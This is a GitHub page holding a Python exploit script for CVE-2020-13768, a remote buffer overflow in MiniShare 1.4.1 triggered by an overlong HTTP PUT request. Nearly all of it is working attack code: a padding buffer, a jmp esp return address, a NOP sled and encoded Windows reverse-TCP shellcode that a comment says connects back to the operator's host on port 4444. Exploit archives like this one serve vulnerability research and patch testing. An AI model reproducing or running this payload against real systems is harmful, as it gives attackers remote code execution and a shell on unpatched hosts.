sartlabs Rename Minishare_BOF_PUT to Minishare_BOF_PUT.py History

1 contributor

63 lines (56 sloc) | 2.6 KB

```python
# Exploit Title: MiniShare 1.4.1 - 'PUT' Remote Buffer Overflow
# Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP PUT request.
# Exploit Author: Sarang Tumne @SarT
# Date: 3rd June, 2020
# CVE ID: CVE-2020-13768 (SarT)
# Confirmed on release 1.4.1
# Vendor: http://minishare.sourceforge.net/
# Vulnerability patched in 1.4.2 and above versions!

###############################################

#!/usr/bin/python

import socket
import sys

a=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host=sys.argv[1]
port=80
a.connect((host,port))
#buffer="A"*3000
junk="A"*1786
#junk+="B"*4
junk+="\x63\x14\xFF\x76"  #jmp esp
junk+="\x90"*40
junk+=("\xb8\x2a\x02\xb2\x98\xda\xc5\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"  #Simple windows/shell/reverse_tcp shell on port 4444; please change this as per your LHOST
"\x52\x31\x42\x12\x03\x42\x12\x83\xc0\xfe\x50\x6d\xe8\x17\x16"
"\x8e\x10\xe8\x77\x06\xf5\xd9\xb7\x7c\x7e\x49\x08\xf6\xd2\x66"
"\xe3\x5a\xc6\xfd\x81\x72\xe9\xb6\x2c\xa5\xc4\x47\x1c\x95\x47"
"\xc4\x5f\xca\xa7\xf5\xaf\x1f\xa6\x32\xcd\xd2\xfa\xeb\x99\x41"
"\xea\x98\xd4\x59\x81\xd3\xf9\xd9\x76\xa3\xf8\xc8\x29\xbf\xa2"
"\xca\xc8\x6c\xdf\x42\xd2\x71\xda\x1d\x69\x41\x90\x9f\xbb\x9b"
"\x59\x33\x82\x13\xa8\x4d\xc3\x94\x53\x38\x3d\xe7\xee\x3b\xfa"
"\x95\x34\xc9\x18\x3d\xbe\x69\xc4\xbf\x13\xef\x8f\xcc\xd8\x7b"
"\xd7\xd0\xdf\xa8\x6c\xec\x54\x4f\xa2\x64\x2e\x74\x66\x2c\xf4"
"\x15\x3f\x88\x5b\x29\x5f\x73\x03\x8f\x14\x9e\x50\xa2\x77\xf7"
"\x95\x8f\x87\x07\xb2\x98\xf4\x35\x1d\x33\x92\x75\xd6\x9d\x65"
"\x79\xcd\x5a\xf9\x84\xee\x9a\xd0\x42\xba\xca\x4a\x62\xc3\x80"
"\x8a\x8b\x16\x06\xda\x23\xc9\xe7\x8a\x83\xb9\x8f\xc0\x0b\xe5"
"\xb0\xeb\xc1\x8e\x5b\x16\x82\x70\x33\x20\x3e\x19\x46\x50\xaf"
"\x85\xcf\xb6\xa5\x25\x86\x61\x52\xdf\x83\xf9\xc3\x20\x1e\x84"
"\xc4\xab\xad\x79\x8a\x5b\xdb\x69\x7b\xac\x96\xd3\x2a\xb3\x0c"
"\x7b\xb0\x26\xcb\x7b\xbf\x5a\x44\x2c\xe8\xad\x9d\xb8\x04\x97"
"\x37\xde\xd4\x41\x7f\x5a\x03\xb2\x7e\x63\xc6\x8e\xa4\x73\x1e"
"\x0e\xe1\x27\xce\x59\xbf\x91\xa8\x33\x71\x4b\x63\xef\xdb\x1b"
"\xf2\xc3\xdb\x5d\xfb\x09\xaa\x81\x4a\xe4\xeb\xbe\x63\x60\xfc"
"\xc7\x99\x10\x03\x12\x1a\x20\x4e\x3e\x0b\xa9\x17\xab\x09\xb4"
"\xa7\x06\x4d\xc1\x2b\xa2\x2e\x36\x33\xc7\x2b\x72\xf3\x34\x46"
"\xeb\x96\x3a\xf5\x0c\xb3")

#junk+="C"*500
buffer=("PUT /"+junk+ "HTTP/1.1"
"Host: 192.168.56.112"
"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
"Accept-Language: en-US,en;q=0.5"
"Accept-Encoding: gzip, deflate"
"Connection: close"
"Upgrade-Insecure-Requests: 1\r\n\r\n")

a.send(buffer)

a.close()
```